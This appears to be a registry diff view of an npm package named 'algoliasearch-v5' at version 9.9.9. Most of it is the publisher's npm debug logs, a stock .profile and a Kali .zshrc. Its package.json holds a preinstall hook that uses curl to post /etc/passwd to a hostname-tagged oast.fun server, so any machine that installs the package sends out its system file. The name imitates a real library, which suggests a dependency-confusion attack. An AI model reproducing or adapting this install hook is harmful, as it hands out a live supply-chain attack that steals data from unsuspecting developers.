21 timing npm:load:setTitle Completed in 0ms
|
23
|
+
22 timing config:load:flatten Completed in 3ms
|
24
|
+
23 timing npm:load:display Completed in 4ms
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/n1rmala/.npm/_logs/2024-10-01T13_57_41_296Z-
|
26
|
+
25 verbose logfile /home/n1rmala/.npm/_logs/2024-10-01T13_57_41_296Z-debug-0.log
|
27
|
+
26 timing npm:load:logFile Completed in 7ms
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
30
|
+
29 timing npm:load Completed in 22ms
|
31
|
+
30 verbose exit 1
|
32
|
+
31 timing npm Completed in 29ms
|
33
|
+
32 verbose code 1
|
@@ -0,0 +1,37 @@
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
2
|
+
1 info using npm@9.2.0
|
3
|
+
2 info using node@v18.20.1
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
5
|
+
4 timing config:load:defaults Completed in 1ms
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
8
|
+
7 timing config:load:cli Completed in 1ms
|
9
|
+
8 timing config:load:env Completed in 0ms
|
10
|
+
9 timing config:load:project Completed in 1ms
|
11
|
+
10 timing config:load:file:/home/n1rmala/.npmrc Completed in 1ms
|
12
|
+
11 timing config:load:user Completed in 1ms
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
14
|
+
13 timing config:load:global Completed in 0ms
|
15
|
+
14 timing config:load:setEnvs Completed in 1ms
|
16
|
+
15 timing config:load Completed in 9ms
|
17
|
+
16 timing npm:load:configload Completed in 9ms
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 1ms
|
20
|
+
19 verbose title npm whoami
|
21
|
+
20 verbose argv "whoami"
|
22
|
+
21 timing npm:load:setTitle Completed in 1ms
|
23
|
+
22 timing config:load:flatten Completed in 2ms
|
24
|
+
23 timing npm:load:display Completed in 3ms
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/n1rmala/.npm/_logs/2024-10-01T13_57_49_004Z-
|
26
|
+
25 verbose logfile /home/n1rmala/.npm/_logs/2024-10-01T13_57_49_004Z-debug-0.log
|
27
|
+
26 timing npm:load:logFile Completed in 6ms
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
30
|
+
29 timing npm:load Completed in 21ms
|
31
|
+
30 silly logfile done cleaning log files
|
32
|
+
31 timing config:load:flatten Completed in 0ms
|
33
|
+
32 http fetch GET 200 https://registry.npmjs.org/-/whoami 449ms (cache miss)
|
34
|
+
33 timing command:whoami Completed in 451ms
|
35
|
+
34 verbose exit 0
|
36
|
+
35 timing npm Completed in 482ms
|
37
|
+
36 info ok
|
@@ -0,0 +1,33 @@
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
2
|
+
1 info using npm@9.2.0
|
3
|
+
2 info using node@v18.20.1
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
5
|
+
4 timing config:load:defaults Completed in 1ms
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
|
7
|
+
6 timing config:load:builtin Completed in 3ms
|
8
|
+
7 timing config:load:cli Completed in 1ms
|
9
|
+
8 timing config:load:env Completed in 1ms
|
10
|
+
9 timing config:load:project Completed in 1ms
|
11
|
+
10 timing config:load:file:/home/n1rmala/.npmrc Completed in 0ms
|
12
|
+
11 timing config:load:user Completed in 0ms
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
14
|
+
13 timing config:load:global Completed in 0ms
|
15
|
+
14 timing config:load:setEnvs Completed in 0ms
|
16
|
+
15 timing config:load Completed in 9ms
|
17
|
+
16 timing npm:load:configload Completed in 9ms
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
20
|
+
19 verbose title npm
|
21
|
+
20 verbose argv
|
22
|
+
21 timing npm:load:setTitle Completed in 0ms
|
23
|
+
22 timing config:load:flatten Completed in 2ms
|
24
|
+
23 timing npm:load:display Completed in 4ms
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/n1rmala/.npm/_logs/2024-10-01T13_58_38_614Z-
|
26
|
+
25 verbose logfile /home/n1rmala/.npm/_logs/2024-10-01T13_58_38_614Z-debug-0.log
|
27
|
+
26 timing npm:load:logFile Completed in 5ms
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
30
|
+
29 timing npm:load Completed in 20ms
|
31
|
+
30 verbose exit 1
|
32
|
+
31 timing npm Completed in 25ms
|
33
|
+
32 verbose code 1
|
@@ -0,0 +1,37 @@
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
2
|
+
1 info using npm@9.2.0
|
3
|
+
2 info using node@v18.20.1
|
4
|
+
3 timing npm:load:whichnode Completed in 1ms
|
5
|
+
4 timing config:load:defaults Completed in 1ms
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
8
|
+
7 timing config:load:cli Completed in 1ms
|
9
|
+
8 timing config:load:env Completed in 0ms
|
10
|
+
9 timing config:load:project Completed in 1ms
|
11
|
+
10 timing config:load:file:/home/n1rmala/.npmrc Completed in 1ms
|
12
|
+
11 timing config:load:user Completed in 1ms
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
14
|
+
13 timing config:load:global Completed in 0ms
|
15
|
+
14 timing config:load:setEnvs Completed in 1ms
|
16
|
+
15 timing config:load Completed in 9ms
|
17
|
+
16 timing npm:load:configload Completed in 9ms
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 1ms
|
20
|
+
19 verbose title npm list
|
21
|
+
20 verbose argv "list" "--global"
|
22
|
+
21 timing npm:load:setTitle Completed in 1ms
|
23
|
+
22 timing config:load:flatten Completed in 2ms
|
24
|
+
23 timing npm:load:display Completed in 3ms
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/n1rmala/.npm/_logs/2024-10-01T13_59_00_151Z-
|
26
|
+
25 verbose logfile /home/n1rmala/.npm/_logs/2024-10-01T13_59_00_151Z-debug-0.log
|
27
|
+
26 timing npm:load:logFile Completed in 6ms
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
30
|
+
29 timing npm:load Completed in 21ms
|
31
|
+
30 timing config:load:flatten Completed in 1ms
|
32
|
+
31 timing arborist:ctor Completed in 0ms
|
33
|
+
32 silly logfile done cleaning log files
|
34
|
+
33 timing command:list Completed in 8ms
|
35
|
+
34 verbose exit 0
|
36
|
+
35 timing npm Completed in 41ms
|
37
|
+
36 info ok
|
@@ -0,0 +1,34 @@
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
2
|
+
1 info using npm@9.2.0
|
3
|
+
2 info using node@v18.20.1
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
5
|
+
4 timing config:load:defaults Completed in 1ms
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
8
|
+
7 timing config:load:cli Completed in 1ms
|
9
|
+
8 timing config:load:env Completed in 0ms
|
10
|
+
9 timing config:load:project Completed in 2ms
|
11
|
+
10 timing config:load:file:/home/n1rmala/.npmrc Completed in 0ms
|
12
|
+
11 timing config:load:user Completed in 0ms
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 1ms
|
14
|
+
13 timing config:load:global Completed in 1ms
|
15
|
+
14 timing config:load:setEnvs Completed in 0ms
|
16
|
+
15 timing config:load Completed in 9ms
|
17
|
+
16 timing npm:load:configload Completed in 9ms
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 1ms
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
20
|
+
19 verbose title npm publish
|
21
|
+
20 verbose argv "publish"
|
22
|
+
21 timing npm:load:setTitle Completed in 1ms
|
23
|
+
22 timing config:load:flatten Completed in 3ms
|
24
|
+
23 timing npm:load:display Completed in 3ms
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/n1rmala/.npm/_logs/2024-10-01T13_59_49_545Z-
|
26
|
+
25 verbose logfile /home/n1rmala/.npm/_logs/2024-10-01T13_59_49_545Z-debug-0.log
|
27
|
+
26 timing npm:load:logFile Completed in 5ms
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
30
|
+
29 timing npm:load Completed in 21ms
|
31
|
+
30 silly logfile done cleaning log files
|
32
|
+
31 verbose publish [ '.' ]
|
33
|
+
32 timing config:load:flatten Completed in 0ms
|
34
|
+
33 timing arborist:ctor Completed in 1ms
|
File without changes
|
package/.profile
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
# ~/.profile: executed by the command interpreter for login shells.
|
2
|
+
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
|
3
|
+
# exists.
|
4
|
+
# see /usr/share/doc/bash/examples/startup-files for examples.
|
5
|
+
# the files are located in the bash-doc package.
|
6
|
+
|
7
|
+
# the default umask is set in /etc/profile; for setting the umask
|
8
|
+
# for ssh logins, install and configure the libpam-umask package.
|
9
|
+
#umask 022
|
10
|
+
|
11
|
+
# if running bash
|
12
|
+
if [ -n "$BASH_VERSION" ]; then
|
13
|
+
# include .bashrc if it exists
|
14
|
+
if [ -f "$HOME/.bashrc" ]; then
|
15
|
+
. "$HOME/.bashrc"
|
16
|
+
fi
|
17
|
+
fi
|
18
|
+
|
19
|
+
# set PATH so it includes user's private bin if it exists
|
20
|
+
if [ -d "$HOME/bin" ] ; then
|
21
|
+
PATH="$HOME/bin:$PATH"
|
22
|
+
fi
|
23
|
+
|
24
|
+
# set PATH so it includes user's private bin if it exists
|
25
|
+
if [ -d "$HOME/.local/bin" ] ; then
|
26
|
+
PATH="$HOME/.local/bin:$PATH"
|
27
|
+
fi
|
File without changes
|
package/.zshrc
ADDED
@@ -0,0 +1,258 @@
|
|
1
|
+
# ~/.zshrc file for zsh interactive shells.
|
2
|
+
# see /usr/share/doc/zsh/examples/zshrc for examples
|
3
|
+
|
4
|
+
setopt autocd # change directory just by typing its name
|
5
|
+
#setopt correct # auto correct mistakes
|
6
|
+
setopt interactivecomments # allow comments in interactive mode
|
7
|
+
setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’
|
8
|
+
setopt nonomatch # hide error message if there is no match for the pattern
|
9
|
+
setopt notify # report the status of background jobs immediately
|
10
|
+
setopt numericglobsort # sort filenames numerically when it makes sense
|
11
|
+
setopt promptsubst # enable command substitution in prompt
|
12
|
+
|
13
|
+
WORDCHARS=${WORDCHARS//\/} # Don't consider certain characters part of the word
|
14
|
+
|
15
|
+
# hide EOL sign ('%')
|
16
|
+
PROMPT_EOL_MARK=""
|
17
|
+
|
18
|
+
# configure key keybindings
|
19
|
+
bindkey -e # emacs key bindings
|
20
|
+
bindkey ' ' magic-space # do history expansion on space
|
21
|
+
bindkey '^U' backward-kill-line # ctrl + U
|
22
|
+
bindkey '^[[3;5~' kill-word # ctrl + Supr
|
23
|
+
bindkey '^[[3~' delete-char # delete
|
24
|
+
bindkey '^[[1;5C' forward-word # ctrl + ->
|
25
|
+
bindkey '^[[1;5D' backward-word # ctrl + <-
|
26
|
+
bindkey '^[[5~' beginning-of-buffer-or-history # page up
|
27
|
+
bindkey '^[[6~' end-of-buffer-or-history # page down
|
28
|
+
bindkey '^[[H' beginning-of-line # home
|
29
|
+
bindkey '^[[F' end-of-line # end
|
30
|
+
bindkey '^[[Z' undo # shift + tab undo last action
|
31
|
+
|
32
|
+
# enable completion features
|
33
|
+
autoload -Uz compinit
|
34
|
+
compinit -d ~/.cache/zcompdump
|
35
|
+
zstyle ':completion:*:*:*:*:*' menu select
|
36
|
+
zstyle ':completion:*' auto-description 'specify: %d'
|
37
|
+
zstyle ':completion:*' completer _expand _complete
|
38
|
+
zstyle ':completion:*' format 'Completing %d'
|
39
|
+
zstyle ':completion:*' group-name ''
|
40
|
+
zstyle ':completion:*' list-colors ''
|
41
|
+
zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s
|
42
|
+
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}'
|
43
|
+
zstyle ':completion:*' rehash true
|
44
|
+
zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s
|
45
|
+
zstyle ':completion:*' use-compctl false
|
46
|
+
zstyle ':completion:*' verbose true
|
47
|
+
zstyle ':completion:*:kill:*' command 'ps -u $USER -o pid,%cpu,tty,cputime,cmd'
|
48
|
+
|
49
|
+
# History configurations
|
50
|
+
HISTFILE=~/.zsh_history
|
51
|
+
HISTSIZE=1000
|
52
|
+
SAVEHIST=2000
|
53
|
+
setopt hist_expire_dups_first # delete duplicates first when HISTFILE size exceeds HISTSIZE
|
54
|
+
setopt hist_ignore_dups # ignore duplicated commands history list
|
55
|
+
setopt hist_ignore_space # ignore commands that start with space
|
56
|
+
setopt hist_verify # show command with history expansion to user before running it
|
57
|
+
#setopt share_history # share command history data
|
58
|
+
|
59
|
+
# force zsh to show the complete history
|
60
|
+
alias history="history 0"
|
61
|
+
|
62
|
+
# configure `time` format
|
63
|
+
TIMEFMT=$'\nreal\t%E\nuser\t%U\nsys\t%S\ncpu\t%P'
|
64
|
+
|
65
|
+
# make less more friendly for non-text input files, see lesspipe(1)
|
66
|
+
#[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
|
67
|
+
|
68
|
+
# set variable identifying the chroot you work in (used in the prompt below)
|
69
|
+
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
|
70
|
+
debian_chroot=$(cat /etc/debian_chroot)
|
71
|
+
fi
|
72
|
+
|
73
|
+
# set a fancy prompt (non-color, unless we know we "want" color)
|
74
|
+
case "$TERM" in
|
75
|
+
xterm-color|*-256color) color_prompt=yes;;
|
76
|
+
esac
|
77
|
+
|
78
|
+
# uncomment for a colored prompt, if the terminal has the capability; turned
|
79
|
+
# off by default to not distract the user: the focus in a terminal window
|
80
|
+
# should be on the output of commands, not on the prompt
|
81
|
+
force_color_prompt=yes
|
82
|
+
|
83
|
+
if [ -n "$force_color_prompt" ]; then
|
84
|
+
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
|
85
|
+
# We have color support; assume it's compliant with Ecma-48
|
86
|
+
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
|
87
|
+
# a case would tend to support setf rather than setaf.)
|
88
|
+
color_prompt=yes
|
89
|
+
else
|
90
|
+
color_prompt=
|
91
|
+
fi
|
92
|
+
fi
|
93
|
+
|
94
|
+
configure_prompt() {
|
95
|
+
prompt_symbol=㉿
|
96
|
+
# Skull emoji for root terminal
|
97
|
+
#[ "$EUID" -eq 0 ] && prompt_symbol=💀
|
98
|
+
case "$PROMPT_ALTERNATIVE" in
|
99
|
+
twoline)
|
100
|
+
PROMPT=$'%F{%(#.blue.green)}┌──${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%m%b%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.blue.green)}]\n└─%B%(#.%F{red}#.%F{blue}$)%b%F{reset} '
|
101
|
+
# Right-side prompt with exit codes and background processes
|
102
|
+
#RPROMPT=$'%(?.. %? %F{red}%B⨯%b%F{reset})%(1j. %j %F{yellow}%B⚙%b%F{reset}.)'
|
103
|
+
;;
|
104
|
+
oneline)
|
105
|
+
PROMPT=$'${debian_chroot:+($debian_chroot)}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))}%B%F{%(#.red.blue)}%n@%m%b%F{reset}:%B%F{%(#.blue.green)}%~%b%F{reset}%(#.#.$) '
|
106
|
+
RPROMPT=
|
107
|
+
;;
|
108
|
+
backtrack)
|
109
|
+
PROMPT=$'${debian_chroot:+($debian_chroot)}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))}%B%F{red}%n@%m%b%F{reset}:%B%F{blue}%~%b%F{reset}%(#.#.$) '
|
110
|
+
RPROMPT=
|
111
|
+
;;
|
112
|
+
esac
|
113
|
+
unset prompt_symbol
|
114
|
+
}
|
115
|
+
|
116
|
+
# The following block is surrounded by two delimiters.
|
117
|
+
# These delimiters must not be modified. Thanks.
|
118
|
+
# START KALI CONFIG VARIABLES
|
119
|
+
PROMPT_ALTERNATIVE=twoline
|
120
|
+
NEWLINE_BEFORE_PROMPT=yes
|
121
|
+
# STOP KALI CONFIG VARIABLES
|
122
|
+
|
123
|
+
if [ "$color_prompt" = yes ]; then
|
124
|
+
# override default virtualenv indicator in prompt
|
125
|
+
VIRTUAL_ENV_DISABLE_PROMPT=1
|
126
|
+
|
127
|
+
configure_prompt
|
128
|
+
|
129
|
+
# enable syntax-highlighting
|
130
|
+
if [ -f /usr/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh ]; then
|
131
|
+
. /usr/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh
|
132
|
+
ZSH_HIGHLIGHT_HIGHLIGHTERS=(main brackets pattern)
|
133
|
+
ZSH_HIGHLIGHT_STYLES[default]=none
|
134
|
+
ZSH_HIGHLIGHT_STYLES[unknown-token]=underline
|
135
|
+
ZSH_HIGHLIGHT_STYLES[reserved-word]=fg=cyan,bold
|
136
|
+
ZSH_HIGHLIGHT_STYLES[suffix-alias]=fg=green,underline
|
137
|
+
ZSH_HIGHLIGHT_STYLES[global-alias]=fg=green,bold
|
138
|
+
ZSH_HIGHLIGHT_STYLES[precommand]=fg=green,underline
|
139
|
+
ZSH_HIGHLIGHT_STYLES[commandseparator]=fg=blue,bold
|
140
|
+
ZSH_HIGHLIGHT_STYLES[autodirectory]=fg=green,underline
|
141
|
+
ZSH_HIGHLIGHT_STYLES[path]=bold
|
142
|
+
ZSH_HIGHLIGHT_STYLES[path_pathseparator]=
|
143
|
+
ZSH_HIGHLIGHT_STYLES[path_prefix_pathseparator]=
|
144
|
+
ZSH_HIGHLIGHT_STYLES[globbing]=fg=blue,bold
|
145
|
+
ZSH_HIGHLIGHT_STYLES[history-expansion]=fg=blue,bold
|
146
|
+
ZSH_HIGHLIGHT_STYLES[command-substitution]=none
|
147
|
+
ZSH_HIGHLIGHT_STYLES[command-substitution-delimiter]=fg=magenta,bold
|
148
|
+
ZSH_HIGHLIGHT_STYLES[process-substitution]=none
|
149
|
+
ZSH_HIGHLIGHT_STYLES[process-substitution-delimiter]=fg=magenta,bold
|
150
|
+
ZSH_HIGHLIGHT_STYLES[single-hyphen-option]=fg=green
|
151
|
+
ZSH_HIGHLIGHT_STYLES[double-hyphen-option]=fg=green
|
152
|
+
ZSH_HIGHLIGHT_STYLES[back-quoted-argument]=none
|
153
|
+
ZSH_HIGHLIGHT_STYLES[back-quoted-argument-delimiter]=fg=blue,bold
|
154
|
+
ZSH_HIGHLIGHT_STYLES[single-quoted-argument]=fg=yellow
|
155
|
+
ZSH_HIGHLIGHT_STYLES[double-quoted-argument]=fg=yellow
|
156
|
+
ZSH_HIGHLIGHT_STYLES[dollar-quoted-argument]=fg=yellow
|
157
|
+
ZSH_HIGHLIGHT_STYLES[rc-quote]=fg=magenta
|
158
|
+
ZSH_HIGHLIGHT_STYLES[dollar-double-quoted-argument]=fg=magenta,bold
|
159
|
+
ZSH_HIGHLIGHT_STYLES[back-double-quoted-argument]=fg=magenta,bold
|
160
|
+
ZSH_HIGHLIGHT_STYLES[back-dollar-quoted-argument]=fg=magenta,bold
|
161
|
+
ZSH_HIGHLIGHT_STYLES[assign]=none
|
162
|
+
ZSH_HIGHLIGHT_STYLES[redirection]=fg=blue,bold
|
163
|
+
ZSH_HIGHLIGHT_STYLES[comment]=fg=black,bold
|
164
|
+
ZSH_HIGHLIGHT_STYLES[named-fd]=none
|
165
|
+
ZSH_HIGHLIGHT_STYLES[numeric-fd]=none
|
166
|
+
ZSH_HIGHLIGHT_STYLES[arg0]=fg=cyan
|
167
|
+
ZSH_HIGHLIGHT_STYLES[bracket-error]=fg=red,bold
|
168
|
+
ZSH_HIGHLIGHT_STYLES[bracket-level-1]=fg=blue,bold
|
169
|
+
ZSH_HIGHLIGHT_STYLES[bracket-level-2]=fg=green,bold
|
170
|
+
ZSH_HIGHLIGHT_STYLES[bracket-level-3]=fg=magenta,bold
|
171
|
+
ZSH_HIGHLIGHT_STYLES[bracket-level-4]=fg=yellow,bold
|
172
|
+
ZSH_HIGHLIGHT_STYLES[bracket-level-5]=fg=cyan,bold
|
173
|
+
ZSH_HIGHLIGHT_STYLES[cursor-matchingbracket]=standout
|
174
|
+
fi
|
175
|
+
else
|
176
|
+
PROMPT='${debian_chroot:+($debian_chroot)}%n@%m:%~%(#.#.$) '
|
177
|
+
fi
|
178
|
+
unset color_prompt force_color_prompt
|
179
|
+
|
180
|
+
toggle_oneline_prompt(){
|
181
|
+
if [ "$PROMPT_ALTERNATIVE" = oneline ]; then
|
182
|
+
PROMPT_ALTERNATIVE=twoline
|
183
|
+
else
|
184
|
+
PROMPT_ALTERNATIVE=oneline
|
185
|
+
fi
|
186
|
+
configure_prompt
|
187
|
+
zle reset-prompt
|
188
|
+
}
|
189
|
+
zle -N toggle_oneline_prompt
|
190
|
+
bindkey ^P toggle_oneline_prompt
|
191
|
+
|
192
|
+
# If this is an xterm set the title to user@host:dir
|
193
|
+
case "$TERM" in
|
194
|
+
xterm*|rxvt*|Eterm|aterm|kterm|gnome*|alacritty)
|
195
|
+
TERM_TITLE=$'\e]0;${debian_chroot:+($debian_chroot)}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))}%n@%m: %~\a'
|
196
|
+
;;
|
197
|
+
*)
|
198
|
+
;;
|
199
|
+
esac
|
200
|
+
|
201
|
+
precmd() {
|
202
|
+
# Print the previously configured title
|
203
|
+
print -Pnr -- "$TERM_TITLE"
|
204
|
+
|
205
|
+
# Print a new line before the prompt, but only if it is not the first line
|
206
|
+
if [ "$NEWLINE_BEFORE_PROMPT" = yes ]; then
|
207
|
+
if [ -z "$_NEW_LINE_BEFORE_PROMPT" ]; then
|
208
|
+
_NEW_LINE_BEFORE_PROMPT=1
|
209
|
+
else
|
210
|
+
print ""
|
211
|
+
fi
|
212
|
+
fi
|
213
|
+
}
|
214
|
+
|
215
|
+
# enable color support of ls, less and man, and also add handy aliases
|
216
|
+
if [ -x /usr/bin/dircolors ]; then
|
217
|
+
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
|
218
|
+
export LS_COLORS="$LS_COLORS:ow=30;44:" # fix ls color for folders with 777 permissions
|
219
|
+
|
220
|
+
alias ls='ls --color=auto'
|
221
|
+
#alias dir='dir --color=auto'
|
222
|
+
#alias vdir='vdir --color=auto'
|
223
|
+
|
224
|
+
alias grep='grep --color=auto'
|
225
|
+
alias fgrep='fgrep --color=auto'
|
226
|
+
alias egrep='egrep --color=auto'
|
227
|
+
alias diff='diff --color=auto'
|
228
|
+
alias ip='ip --color=auto'
|
229
|
+
|
230
|
+
export LESS_TERMCAP_mb=$'\E[1;31m' # begin blink
|
231
|
+
export LESS_TERMCAP_md=$'\E[1;36m' # begin bold
|
232
|
+
export LESS_TERMCAP_me=$'\E[0m' # reset bold/blink
|
233
|
+
export LESS_TERMCAP_so=$'\E[01;33m' # begin reverse video
|
234
|
+
export LESS_TERMCAP_se=$'\E[0m' # reset reverse video
|
235
|
+
export LESS_TERMCAP_us=$'\E[1;32m' # begin underline
|
236
|
+
export LESS_TERMCAP_ue=$'\E[0m' # reset underline
|
237
|
+
|
238
|
+
# Take advantage of $LS_COLORS for completion as well
|
239
|
+
zstyle ':completion:*' list-colors "${(s.:.)LS_COLORS}"
|
240
|
+
zstyle ':completion:*:*:kill:*:processes' list-colors '=(#b) #([0-9]#)*=0=01;31'
|
241
|
+
fi
|
242
|
+
|
243
|
+
# some more ls aliases
|
244
|
+
alias ll='ls -l'
|
245
|
+
alias la='ls -A'
|
246
|
+
alias l='ls -CF'
|
247
|
+
|
248
|
+
# enable auto-suggestions based on the history
|
249
|
+
if [ -f /usr/share/zsh-autosuggestions/zsh-autosuggestions.zsh ]; then
|
250
|
+
. /usr/share/zsh-autosuggestions/zsh-autosuggestions.zsh
|
251
|
+
# change suggestion color
|
252
|
+
ZSH_AUTOSUGGEST_HIGHLIGHT_STYLE='fg=#999'
|
253
|
+
fi
|
254
|
+
|
255
|
+
# enable command-not-found if installed
|
256
|
+
if [ -f /etc/zsh_command_not_found ]; then
|
257
|
+
. /etc/zsh_command_not_found
|
258
|
+
fi
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "algoliasearch-v5",
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "hacked by n1rmala",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node index.js",
|
8
|
+
"preinstall": "/usr/bin/curl --data '@/etc/passwd' $(hostname).ecgiwfanpvdxgkdqlmurvbrb5zm2z7fqa.oast.fun"
|
9
|
+
},
|
10
|
+
"author": "n1rmala9",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|